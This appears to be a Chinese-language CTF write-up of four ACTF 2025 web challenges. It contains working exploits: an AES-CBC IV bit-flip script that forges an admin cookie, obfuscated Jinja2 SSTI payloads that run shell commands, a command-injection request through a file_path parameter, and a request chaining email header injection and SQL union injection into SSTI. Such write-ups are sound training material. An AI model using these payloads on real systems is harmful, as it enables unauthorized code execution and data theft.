Skip to content

ACTF 2025

约 1465 字大约 5 分钟

CTF

2025-04-27

not so web 1

本地起服务:

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = "x8j2k9m3n7p4q6r8t1u5v0w2y4z6a8b0"
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"
ADMIN_PASSWORD = "G7kP9mW3qT2rY6zN8vX4jL0tF5hR1cB"

@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int

# In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}

def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True

def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")

def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()

@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")

@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)

@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp

if __name__ == "__main__":
    app.run()

本地调试脚本:

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = "123123"
KEY = b'abcdefghijklmnop'
ADMIN_PASSWORD = "123123"


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    print(padded)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    # print(cipher)
    encrypted = cipher.encrypt(padded)
    # print(encrypted)
    return base64.b64encode(iv + encrypted).decode()


if __name__ == "__main__":
    print(generate_cookie(users["admin"]))

修改cookie:

import base64

# 假设这是从注册 "admxn" 后获取的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzr0e7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"

# 提取 cookie 值
cookie_value = cookie.split("=", 1)[1]

# base64 解码
cookie_bytes = base64.b64decode(cookie_value)

# 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]

# 计算需要翻转的字节
# 目标:将 "admxn" 的 'x' (120) 翻转为 'i' (105)
# JSON 格式:{"name": "admxn", ...}
# "x" 在第一个块的第 11 个字节(从 0 开始计数)
pos = 13  # 'x' 的位置
delta = ord('x') ^ ord('i')  # 120 ^ 105 = 17

# 修改 IV 的第 11 个字节
iv_list = list(iv)
print(iv_list[pos])
iv_list[pos] = iv_list[pos] ^ delta
print(iv_list[pos])
modified_iv = bytes(iv_list)


# 生成新的 cookie
modified_cookie_bytes = modified_iv + encrypted_data
modified_cookie = base64.b64encode(modified_cookie_bytes).decode()

# 输出修改后的 cookie
print("Original Cookie:", cookie_value)
print("Modified Cookie:", modified_cookie)
print("Use this cookie to access /home as admin:")
print(f"jwbcookie={modified_cookie}")

还原脚本:

import base64
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 给定的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzqwe7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"
cookie_b64 = cookie.replace("jwbcookie=", "")

# 解码 base64
cookie_bytes = base64.b64decode(cookie_b64)

# 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]

# 假设的密钥(16 字节),实际使用时需替换为真实密钥
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"

# 创建 AES-CBC 解密器
cipher = AES.new(KEY, AES.MODE_CBC, iv)

# 解密并去除填充
try:
    decrypted = cipher.decrypt(encrypted_data)
    padded = unpad(decrypted, 16)  # 去除 PKCS7 填充
    json_str = padded.decode('utf-8')  # 转换为字符串
    cookie_dict = json.loads(json_str)  # 解析 JSON
    print("还原的 padded(JSON 格式):", cookie_dict)
except ValueError as e:
    print("解密失败,可能是密钥错误或数据损坏:", e)

本地fenjing一把嗦

/home?payload={{(QAQ.__eq__.__globals__.sys.modules.os.popen('cat f*')).read()}}

image-20250805142602034

Upload

普通用户进去目录穿越读源码,然后拿去碰撞一下密码,在admin下面有一个存在命令拼接的点file_path直接拼接进去的不出网rce,发现能任意写

GET /upload?file_path=0;%20ls%20/>%20/test%20%23

img

Fl4g_is_H3r3
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
test
tmp
usr
var
GET /upload?file_path=0;%20cat%20/Fl4g_is_H3r3>%20/test%20%23

image-20250805142709211

Excellent-Site

利用 /report 路由的邮件头注入,构造一封邮件,设置 Subject 为可控 URL,并注入 From: admin@ezmail.org 以满足 get_subjects 的条件。

通过 SQLite 注入控制 /news 路由的响应,打SSTI,然后访问 /bot 触发 /admin里面的render

POST /report HTTP/1.1
Host: 223.112.5.141:59122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 66

url=http%3A%2F%2Fezmail.org%3A3000%2Fnews%3Fid%3D-1+union+select+%27%7B%7B+url_for.__globals__%5B%27%27__builtins__%27%27%5D%5B%27%27__import__%27%27%5D%28%27%27os%27%27%29.system%28%27%27cat+%2Fflag+%3E+templates%2Findex.html%27%27%29+%7D%7D%27

not so web 2

明文 username 直接换 admin 再进去就行

{"user_name": "admin", "login_time": 1745665984}&91f48825c577ce98f9c611681521eb05c92d1e17748e9e74e6b4928726e11bcf13aa8306350e1fc2e5d8ed00437cca189360dcc5489dd59f35aeee8c40eab121f35b0f2953fc5b7d48359ec5789baa302fae6e8f1c0f87943497ce5a3147daa5bbe780bbe637f73d7f95f8a2528e2fe06777634384bffea5cd865ee3999dc6fe0d475ae9fc2086d4b037c66ab20cb2b31215d0cd2c0e32643a59cca40315cbfa51ddf63a8e7c025d6be2247c18ea62c4f76c8c4f25b2cf0361c47f0cdc7105e27eb54bb84ef6512a84164f1f7d41370ddb0896b4f7373805414949e71004e5e2ca64dbdb74c5ad65007d189d8fcc72bc2878bd06848fadd0ff39f1ca6ced5c08}

写个转接口本地fenjing打

{{((sbwaf|attr(lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)~"qe"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)))[lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)~"slabolg"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\\x5f\\x5fadd\\x5f\\x5f")(lipsum|escape|batch(22)|list|first|last)].sys.modules.os.popen("*f tac"[::-1])).read()}}

img